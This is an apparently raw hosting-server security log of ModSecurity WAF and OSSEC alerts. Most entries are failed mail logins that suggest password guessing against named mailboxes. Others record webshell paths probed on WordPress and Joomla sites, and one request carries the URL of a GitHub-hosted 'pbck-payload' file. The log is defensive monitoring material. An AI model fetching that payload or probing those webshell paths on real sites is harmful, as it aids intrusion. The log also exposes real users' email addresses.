2026-07-14 15:44:57 dovecot_login authenticator failed for H=78-67-161-64-no2550.tbcn.telia.com ([111.118.47.8]) [78.67.161.64]:58884: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.88.209.51
country_id: 1269750
description:
2026-07-14 15:45:19 dovecot_login authenticator failed for H=([174.75.211.196]) [202.88.209.51]:58806: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:a8f0:b833:1025:88ec:e82f
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.28||T:APACHE||MVN:ARGS:jform[defaultvalue][f_radio_attribute_class]||MV: inputbox visCSSbot5 ||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.88.209.51
country_id: 1269750
description:
2026-07-14 15:48:18 dovecot_login authenticator failed for H=([218.156.93.206]) [202.88.209.51]:59796: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-14 15:49:14 dovecot_login authenticator failed for H=(host-45-145-203-68.mywic.eu) [103.176.160.146]:47544: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.59.19.112
country_id: 298795
description:
2026-07-14 15:50:00 dovecot_login authenticator failed for H=([183.171.215.115]) [188.59.19.112]:48762: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-14 15:50:45 dovecot_login authenticator failed for H=([49.124.151.52]) [125.23.155.110]:52884: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.52
country_id: 798544
description:
2026-07-14 15:50:31 dovecot_login authenticator failed for H=89-67-37-52.dynamic.play.pl ([68.71.254.3]) [89.67.37.52]:52302: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-14 15:52:32 dovecot_login authenticator failed for H=(221-120-42-196.emome-ip.hinet.net) [196.188.93.169]:3862: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.52
country_id: 1668284
description:
2026-07-14 15:53:06 dovecot_login authenticator failed for H=110-25-109-52.adsl.fetnet.net (static.ill.61.2.246.139.bsnl.co.in) [110.25.109.52]:45194: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 152.53.246.82
country_id: 2921044
domain: ibmcglobal.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/forgrass12-maker/pbck-payload/main/font.css||User:ibmcglobal||SC:/home/ibmcglobal/public_html/index.php||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350977
abuser: 152.53.246.82
country_id: 2921044
domain: ibmcglobal.com
description:
IM360 WAF: Joomla Page Builder CK webshell access - executable in media dir (CVE-2026-56290 / WPT-2603)||MVN:REQUEST_FILENAME||MV:/media/com_pagebuilderck/gfonts/uploader.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.97
country_id: 1880251
description:
2026-07-14 16:01:44 dovecot_plain authenticator failed for H=(localhost) [104.28.163.97]:31715: 535 Incorrect authentication data (set_id=dins@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.174
country_id: 2186224
description:
2026-07-14 16:02:05 dovecot_login authenticator failed for H=(host-191-241-142-33.red.paralelo46.com.ar) [121.73.163.174]:51200: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-14 16:04:07 dovecot_login authenticator failed for H=(buenosnet.static.gvt.net.br) [182.95.101.182]:35424: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.191.70.101
country_id: 1269750
description:
2026-07-14 16:04:26 dovecot_plain authenticator failed for H=(localhost) [223.191.70.101]:24519: 535 Incorrect authentication data (set_id=dins@metrodigitals.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 142.54.228.193
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.yuejiw.com\">\xe6\x9c\x88\xe5\xad\xa3\xe8\x8b\x97</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.29.22
country_id: 2963597
description:
2026-07-14 16:10:18 dovecot_login authenticator failed for H=([182.31.70.36]) [207.254.29.22]:59095: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.118.24.100
country_id: 1835841
description:
2026-07-14 16:09:21 dovecot_login authenticator failed for H=([98.170.57.236]) [39.118.24.100]:33686: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.91.173.57
country_id: 6252001
description:
2026-07-14 16:09:43 dovecot_login authenticator failed for H=168-91-173-57.s823.c3-0.eas-cbr7.atw-eas.pa.cable.rcncustomer.com ([49.125.201.80]) [168.91.173.57]:55100: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.215.95.14
country_id: 6252001
description:
2026-07-14 16:12:53 dovecot_plain authenticator failed for H=(nophall) [50.215.95.14]:40212: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-07-14 16:16:21 dovecot_login authenticator failed for H=([49.124.152.207]) [128.185.253.122]:47076: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.154.64.185
country_id: 1168579
description:
2026-07-14 16:16:30 dovecot_login authenticator failed for H=([61.145.56.3]) [103.154.64.185]:52193: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-14 16:21:35 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net ([72.37.217.1]) [71.229.1.186]:36918: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-07-14 16:22:06 dovecot_login authenticator failed for H=(customer.sntochl1.isp.starlink.com) [197.219.210.86]:45588: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.23
country_id: 1269750
description:
2026-07-14 16:21:25 dovecot_login authenticator failed for H=([123.52.202.92]) [103.147.248.23]:41066: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 80.94.95.202
country_id: 798549
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:16-23.80.94.95.202||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.118.126
country_id: 1269750
description:
2026-07-14 16:27:03 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [122.184.118.126]:46580: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.190.53.157
country_id: 6252001
description:
2026-07-14 16:28:43 dovecot_login authenticator failed for H=ool-18be359d.dyn.optonline.net (syn-065-191-211-033.res.spectrum.com) [24.190.53.157]:49529: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.107.158
country_id: 226074
description:
2026-07-14 16:28:53 dovecot_login authenticator failed for H=([74.208.177.56]) [196.0.107.158]:51204: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://links.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:a8f0:b833:1025:88ec:e82f
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.28||T:APACHE||MVN:ARGS:jform[defaultvalue][f_date_attribute_class]||MV: inputbox ||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.180.18
country_id: 337996
description:
2026-07-14 16:35:57 dovecot_login authenticator failed for H=(firewall01.practicetechnologies.ml.zerolag.com) [196.190.180.18]:34756: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-14 16:42:03 dovecot_login authenticator failed for H=([49.124.152.242]) [65.20.217.64]:50711: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-07-14 16:41:26 dovecot_login authenticator failed for H=([84.111.136.210]) [218.156.93.206]:43880: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.220
country_id: 1269750
description:
2026-07-14 16:47:57 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [122.187.229.220]:38002: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-14 16:48:01 dovecot_login authenticator failed for H=(ipmapt-72-195-114-182.oc.oc.cox.net) [41.219.149.74]:14202: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.202
country_id: 1835841
description:
2026-07-14 16:50:19 dovecot_login authenticator failed for H=([49.124.153.19]) [218.156.93.202]:37151: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-14 16:50:35 dovecot_login authenticator failed for H=([103.117.155.41]) [210.5.117.238]:60340: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.103.82.72
country_id: 2661886
description:
2026-07-14 16:52:02 dovecot_login authenticator failed for H=194-103-82-72.ip.obe.net ([49.124.142.134]) [194.103.82.72]:39534: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-07-14 16:58:07 dovecot_login authenticator failed for H=([111.235.66.253]) [103.130.207.227]:39632: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.119
country_id: 1819730
description:
2026-07-14 16:58:31 dovecot_login authenticator failed for H=(karuna.divineled.com) [121.202.206.119]:55210: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 140.245.68.143
country_id: 1835841
description:
[2026-07-14 16:58:41 +0530] info [whostmgrd] 140.245.68.143 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.80.230.116
country_id: 3686110
description:
2026-07-14 17:03:06 dovecot_login authenticator failed for H=(karuna.divineled.com) [186.80.230.116]:49218: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.213.137.209
country_id: 1835841
description:
2026-07-14 17:03:25 dovecot_login authenticator failed for H=([49.125.201.89]) [175.213.137.209]:50650: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.189.88.109
country_id: 1835841
description:
2026-07-14 17:10:52 dovecot_login authenticator failed for H=(60-249-252-94.hinet-ip.hinet.net) [121.189.88.109]:39648: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.10
country_id: 1668284
description:
2026-07-14 17:11:21 dovecot_login authenticator failed for H=111-70-32-10.emome-ip.hinet.net (177-215-153-215.user.vivozap.com.br) [111.70.32.10]:38073: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.118.126
country_id: 1269750
description:
2026-07-14 17:13:03 dovecot_login authenticator failed for H=(syn-024-142-170-231.biz.spectrum.com) [122.184.118.126]:54036: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.234.138.49
country_id: 6252001
description:
2026-07-14 17:13:09 dovecot_login authenticator failed for H=(static-82.191.195.14-tataidc.co.in) [47.234.138.49]:39238: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.224.217.104
country_id: 1562822
description:
2026-07-14 17:12:33 dovecot_login authenticator failed for H=([27.110.176.222]) [14.224.217.104]:38448: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.91.83
country_id: 1269750
description:
2026-07-14 17:12:43 dovecot_login authenticator failed for H=(atlanta-1.cdn77.com) [103.130.91.83]:50506: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.115.178.196
country_id: 6252001
description:
2026-07-14 17:13:54 dovecot_login authenticator failed for H=ool-4573b2c4.dyn.optonline.net (nsg-static-161.174.76.182-airtel.com) [69.115.178.196]:50899: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.102
country_id: 1269750
description:
2026-07-14 17:15:31 dovecot_login authenticator failed for H=([180.188.253.150]) [182.95.106.102]:52512: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.134.97
country_id: 99237
description:
2026-07-14 17:15:44 dovecot_login authenticator failed for H=([121.171.95.112]) [65.20.134.97]:50059: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.171.95.112
country_id: 1835841
description:
2026-07-14 17:16:12 dovecot_login authenticator failed for H=([101.13.5.30]) [121.171.95.112]:55962: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.5
country_id: 1733045
description:
2026-07-14 17:17:09 dovecot_login authenticator failed for H=([210.183.167.169]) [49.124.151.5]:41840: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.127.42
country_id: 1269750
description:
2026-07-14 17:16:40 dovecot_login authenticator failed for H=(nsg-corporate-12.226.187.122.airtel.in) [182.95.127.42]:58140: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.39.110.172
country_id: 1835841
description:
2026-07-14 17:18:20 dovecot_login authenticator failed for H=([49.124.159.195]) [14.39.110.172]:33194: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.60.130.182
country_id: 130758
domain: elegantautomotives.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/cexjrxju/fonts/kfthmczk.PHP||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.152
country_id: 1835841
description:
2026-07-14 17:22:28 dovecot_login authenticator failed for H=([98.182.171.163]) [183.104.220.152]:54784: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.50
country_id: 1668284
description:
2026-07-14 17:23:16 dovecot_login authenticator failed for H=([115.245.172.214]) [101.13.5.50]:40412: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.53.7.231
country_id: 6252001
description:
2026-07-14 17:23:31 dovecot_login authenticator failed for H=([218.156.8.97]) [64.53.7.231]:54118: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.52
country_id: 1668284
description:
2026-07-14 17:27:01 dovecot_login authenticator failed for H=110-25-109-52.adsl.fetnet.net ([210.222.75.179]) [110.25.109.52]:45746: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.97.52.95
country_id: 1269750
description:
2026-07-14 17:28:11 dovecot_login authenticator failed for H=([104.37.135.150]) [59.97.52.95]:60606: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.112.224.81
country_id: 1269750
description:
2026-07-14 17:28:27 dovecot_login authenticator failed for H=([121.163.63.200]) [103.112.224.81]:33610: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.11.40
country_id: 1269750
description:
2026-07-14 17:29:34 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [122.160.11.40]:46991: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.198.61
country_id: 1835841
description:
2026-07-14 17:29:54 dovecot_login authenticator failed for H=([221.195.208.238]) [220.72.198.61]:48946: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: ibmcglobal.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-14 17:32:15 dovecot_login authenticator failed for H=(physicohsm.physico.cloud) [85.105.255.56]:60387: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-14 17:32:26 dovecot_login authenticator failed for H=(ip-45-155-146-33.ip.asarta.ru) [122.185.101.50]:44010: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.241
country_id: 1733045
description:
2026-07-14 17:33:38 dovecot_login authenticator failed for H=(189-108-224-67.customer.tdatabrasil.net.br) [49.124.152.241]:49548: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.65.154
country_id: 1269750
description:
2026-07-14 17:33:48 dovecot_login authenticator failed for H=([95.82.7.89]) [182.78.65.154]:39732: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.134.20.88
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.28||T:APACHE||SC:/home/alnay/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/up.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.88
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-admin/images/bootstrap.php||SC:/home/alnay/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.102
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/admin.php||SC:/home/alnay/public_html/images/admin.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.88
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/alnay/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.102
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/index.php||SC:/home/alnay/public_html/images/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.81
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-content/uploads/wp.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.89
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/alnay/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.102
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-includes/images/media/index.php||SC:/home/alnay/public_html/wp-includes||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.89
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-content/uploads/bypass.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.94
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-content/uploads/content.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.94
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/waf_defender.php||SC:/home/alnay/public_html/images/waf_defender.php||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.134.20.70
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.28||T:APACHE||SC:/home/alnay/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/install.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.70
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/buy.php||SC:/home/alnay/public_html/images/buy.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.76
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/upload/install.php||SC:/home/alnay/public_html/upload||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.79
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-content/uploads/system_cache.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.134.20.79
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.28||T:APACHE||SC:/home/alnay/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/adminfus.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.76
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/mah.php||SC:/home/alnay/public_html/images/mah.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.45.101
country_id: 2661886
description:
2026-07-14 17:41:49 dovecot_login authenticator failed for H=78-66-45-101-no2550.tbcn.telia.com ([61.84.228.191]) [78.66.45.101]:48696: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.80
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/av.php||SC:/home/alnay/public_html/images/av.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.96
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-content/uploads/install.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.94
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/assets/images/cloud.php||SC:/home/alnay/public_html/assets||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.96
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-content/uploads/system_core.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.134.20.88
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/assets/jquery-ui/images/lock2.php||SC:/home/alnay/public_html/assets||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.134.20.88
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.28||T:APACHE||SC:/home/alnay/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.252.93.114
country_id: 1269750
description:
2026-07-14 17:52:15 dovecot_login authenticator failed for H=([89.121.255.194]) [117.252.93.114]:45035: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.57.31
country_id: 1269750
description:
2026-07-14 17:52:28 dovecot_login authenticator failed for H=([142.54.236.102]) [103.168.57.31]:50520: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-14 17:52:42 dovecot_login authenticator failed for H=([49.124.149.213]) [182.78.112.174]:42506: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.123.87.143
country_id: 1835841
description:
